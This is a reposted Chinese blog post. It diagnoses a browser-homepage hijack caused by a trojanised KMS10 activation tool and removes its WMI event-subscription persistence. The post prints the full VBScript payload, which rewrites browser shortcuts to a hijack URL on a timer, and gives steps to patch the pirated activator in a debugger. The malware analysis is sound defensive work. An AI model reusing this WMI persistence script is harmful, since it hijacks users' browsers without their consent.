admin 管理员组文章数量: 1086019
#问题现象
- 打开浏览器,默认弹出页面
https://www.hao123/?tn=92543205_hao_pg
- 查看浏览器设置,并没有设置首页
- 检查浏览器快捷方式属性,发现“目标(T)”栏设置了跳转
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" http://hao.ttmmt/?v=1042
- 删除跳转地址后,能临时解决该问题。但过段时间后,问题再次出现,快捷方式又被改了
- 检查regedit注册表,以及msconfig查看启动项等,都没有发现可疑的程序修改
#问题定位 一直以为是自己安装的软件有恶意绑定,也没有花心思去查证。在切换系统后,没怎么安装软件也有这个问题,也到了忍无可忍的地步了。通过在网上查得,应该是与小马激活工具(KMS10,本文使用的版本为V10.42)有关。
- 小马官方已停止维护,从网络各处下得的KMS大多被绑定木马
- 从不同地方获得不同版本木马可能不同
- 修改浏览器快捷方式,变相篡改首页的问题应该是主要的一种。虽然大家的绑定地址可能有所不同,但大部分情况下大同小异,属于我遇到的情况。
这次定时修改浏览器快捷方式的木马,并非简单地在开机启动项里添加了可执行程序。它使用了wmi的event机制,创建了一个定时任务,定时执行一段VB脚本。可自行在网上搜“WMI三无后门”之类的内容。
- 使用管理员权限打开powershell,使用如下几条命令查看event事件内容:
gwmi -Namespace "root/cimv2" -Class ActiveScriptEventConsumer
gwmi -Namespace "root/cimv2" -Class __FilterToConsumerBinding
gwmi -Namespace "root/cimv2" -Class __IntervalTimerInstruction
gwmi -Namespace "root/cimv2" -Class __EventFilter
- 查看事件“消费者”,ScriptText保存了被执行的VB代码,使用于使用各种路径下+各种浏览器的快捷方式:
ps c:\users\leo> gwmi -namespace "root/cimv2" -class activescripteventconsumer
__GENUS : 2
__CLASS : ActiveScriptEventConsumer
__SUPERCLASS : __EventConsumer
__DYNASTY : __SystemClass
__RELPATH : ActiveScriptEventConsumer.Name="VBScriptKLive_consumer"
__PROPERTY_COUNT : 8
__DERIVATION : {__EventConsumer, __IndicationRelated, __SystemClass}
__SERVER : DESKTOP-EJQUMQK
__NAMESPACE : ROOT\cimv2
__PATH : \\DESKTOP-EJQUMQK\ROOT\cimv2:ActiveScriptEventConsumer.Name="VBScriptKLive_consumer"
CreatorSID : {1, 5, 0, 0...}
KillTimeout : 0
MachineName :
MaximumQueueSize :
Name : VBScriptKLive_consumer
ScriptFilename :
ScriptingEngine : vbscript
ScriptText : On Error Resume Next:Const link = "http://hao.ttmmt/?v=1042":Const link360 = "http://
hao.ttmmt/?v=1042&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome
.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.e
xe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.ex
e,opera.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie
.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrows
er.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:\Users\Public\Desktop,C:\P
rogramData\Microsoft\Windows\Start Menu\Programs,C:\Users\leo\Desktop,C:\Users\leo\AppDat
a\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\leo\AppData\Roaming\Microsoft
\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\leo\AppData\Roaming\Micros
oft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\leo\AppData\Roaming\Micro
soft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObje
ct("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), brows
er:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictiona
ry"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateO
bject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each
oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFo
lder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshSh
ell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) &
"." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase
("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If
:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Sa
ve:End If:End If:Next:End If:Next:
PSComputerName : DESKTOP-EJQUMQK
- 绑定事件过滤器与消费者:
ps c:\users\leo> gwmi -namespace "root/cimv2" -class __filtertoconsumerbinding
__GENUS : 2
__CLASS : __FilterToConsumerBinding
__SUPERCLASS : __IndicationRelated
__DYNASTY : __SystemClass
__RELPATH : __FilterToConsumerBinding.Consumer="\\\\.\\root\\cimv2:ActiveScriptEventConsumer.N
ame=\"VBScriptKLive_consumer\"",Filter="\\\\.\\root\\cimv2:__EventFilter.Name=\"VB
ScriptKLive_filter\""
__PROPERTY_COUNT : 7
__DERIVATION : {__IndicationRelated, __SystemClass}
__SERVER : DESKTOP-EJQUMQK
__NAMESPACE : ROOT\cimv2
__PATH : \\DESKTOP-EJQUMQK\ROOT\cimv2:__FilterToConsumerBinding.Consumer="\\\\.\\root\\cimv
2:ActiveScriptEventConsumer.Name=\"VBScriptKLive_consumer\"",Filter="\\\\.\\root\\
cimv2:__EventFilter.Name=\"VBScriptKLive_filter\""
Consumer : \\.\root\cimv2:ActiveScriptEventConsumer.Name="VBScriptKLive_consumer"
CreatorSID : {1, 5, 0, 0...}
DeliverSynchronously : False
DeliveryQoS :
Filter : \\.\root\cimv2:__EventFilter.Name="VBScriptKLive_filter"
MaintainSecurityContext : False
SlowDownProviders : False
PSComputerName : DESKTOP-EJQUMQK
- 定时器:
ps c:\users\leo> gwmi -namespace "root/cimv2" -class __intervaltimerinstruction
__genus : 2
__class : __intervaltimerinstruction
__superclass : __timerinstruction
__dynasty : __systemclass
__relpath : __intervaltimerinstruction.timerid="vbscriptklive_timer"
__property_count : 3
__derivation : {__timerinstruction, __eventgenerator, __indicationrelated, __systemclass}
__server : desktop-ejqumqk
__namespace : root\cimv2
__path : \\desktop-ejqumqk\root\cimv2:__intervaltimerinstruction.timerid="vbscriptklive_timer"
intervalbetweenevents : 10800000
skipifpassed : false
timerid : vbscriptklive_timer
pscomputername : desktop-ejqumqk
- 事件过滤器
ps c:\users\leo> gwmi -namespace "root/cimv2" -class __eventfilter
__genus : 2
__class : __eventfilter
__superclass : __indicationrelated
__dynasty : __systemclass
__relpath : __eventfilter.name="vbscriptklive_filter"
__property_count : 6
__derivation : {__indicationrelated, __systemclass}
__server : desktop-ejqumqk
__namespace : root\cimv2
__path : \\desktop-ejqumqk\root\cimv2:__eventfilter.name="vbscriptklive_filter"
creatorsid : {1, 5, 0, 0...}
eventaccess :
eventnamespace :
name : vbscriptklive_filter
query : select * from __timerevent where timerid="vbscriptklive_timer"
querylanguage : wql
pscomputername : desktop-ejqumqk
#解决方法 为了解决问题,打算修改kms.exe二进制程序中快捷方式修改部分,有两点原因:
- 在我的机器上,KMS设置了定时启动任务,通过taskschd.msc查看“任务计划程序”可看到,不知删除是否会影响激活,所以没有删除。
- 以后还会用到这个二进制,所以需要一个纯净一点的kms
下面是修改步骤:
- 对照前面wmi查到的VB脚本,把涉及的各目录下的浏览器快捷方式先改正常。之后删除WMI定时事件,根据查得的各项目名称,对照使用下面命令:
gwmi -Namespace "root/cimv2" -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='VBScriptKLive_filter'""" | Remove-WmiObject
gwmi -Namespace "root/cimv2" -Class ActiveScriptEventConsumer -Filter "Name = 'VBScriptKLive_consumer'" | Remove-WmiObject
gwmi -Namespace "root/cimv2" -Class __IntervalTimerInstruction -Filter "TimerID = 'VBScriptKLive_timer'" | Remove-WmiObject
gwmi -Namespace "root/cimv2" -Class __EventFilter -Filter "Name = 'VBScriptKLive_filter'" | Remove-WmiObject
-
使用exeinfo pe工具,查看到kms.exe有upx加壳:
-
使用upx脱壳:
C:\Users\leo\Desktop\xx>upx394w\upx.exe -d KMS10.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2017
UPX 3.94w Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017
File size Ratio Format Name
-------------------- ------ ----------- -----------
3408384 <- 1059840 31.10% win32/pe KMS10.exe
Unpacked 1 file.
-
使用odbg200加载脱壳后的kms,查看所有的字符串。找到VB脚本信息,比如"on error":
-
查找到字符串及所处函数的调用上下文。因为WMI是以com的方式处理的,使用CoInitialize和CoUnintialize初始化com和反初始化com库,干脆就直接让此处的几行调用全转为nops空指令,最后点右键菜单中“save file”保存修改:
-
使用upx加壳kms,可以减小执行文件的大小:
C:\Users\leo\Desktop\xx>upx394w\upx.exe KMS10_fix_upx.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2017
UPX 3.94w Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017
File size Ratio Format Name
-------------------- ------ ----------- -----------
3408384 -> 1078784 31.65% win32/pe KMS10_fix_upx.exe
Packed 1 file.
- 双击最后的kms,查看是否有WMI事件信息:
gwmi -Namespace "root/cimv2" -Class ActiveScriptEventConsumer
gwmi -Namespace "root/cimv2" -Class __FilterToConsumerBinding
gwmi -Namespace "root/cimv2" -Class __IntervalTimerInstruction
gwmi -Namespace "root/cimv2" -Class __EventFilter
- 如果taskschd.msc中有kms定时调用,记得使用新的kms替换对应目录下的kms:
转载于:https://my.oschina/neochin/blog/1147135
版权声明:本文标题:去小马激活首页绑定 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.roclinux.cn/b/1738237504a1948434.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论